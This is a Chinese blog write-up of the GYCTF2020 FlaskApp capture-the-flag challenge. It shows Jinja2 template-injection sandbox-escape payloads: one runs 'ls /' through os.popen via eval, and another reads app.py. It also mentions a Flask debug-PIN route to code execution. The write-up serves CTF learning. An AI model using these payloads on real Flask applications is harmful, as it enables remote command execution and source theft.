[GYCTF2020]FlaskApp 1(SSTI，PIN）

最新推荐文章于 2025-02-25 12:54:48 发布

满月*

最新推荐文章于 2025-02-25 12:54:48 发布

阅读量1.4k

点赞数 2

分类专栏：网络安全文章标签： flask python php

本文链接：https://blog.youkuaiyun.com/weixin_45577185/article/details/120862099

版权

博客讲述了在GYCTF2020的FlaskApp挑战中，如何利用SSTI（模板注入）攻击进行Python沙盒逃逸。通过分析过滤关键字，构造payload绕过WAF，读取源码找到flag。同时，介绍了PIN码的生成机制，包括获取flask用户名、app.py路径和MAC地址的十进制数。最终，利用PIN码实现远程代码执行并获得flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

f12发现了提示，但是我对PIN没有了解所以没反应过来
在这里插入图片描述
扫了一下网站，发现了一个网站打开
请添加图片描述

非预期解：
本题存在SSTI注入

加密 {
   {
   7+7}}
 e3s3Kzd9fQ== 
 解密
 回显14  说明是SSTI

python-Flask模版注入攻击SSTI(python沙盒逃逸)

查看根目录：

 {
   % for c in [].__class__.__base__.__subclasses__() %}{
   % if c.__name__=='catch_warnings' %}{
   {
    c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{
   % endif %}{
   % endfor %}

解密结果产生no，说明存在waf
在这里插入图片描述
可能被过滤了关键字符，但是我们不知道关键字符，所以要读取一下源码app.py（直接用open）

 {
   % for c in [].__class__.__base__.__subclasses__() %}{
   % if c.__name__=='catch_warnings' %}{
   {
    c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{
   % endif %}{
   % endfor %}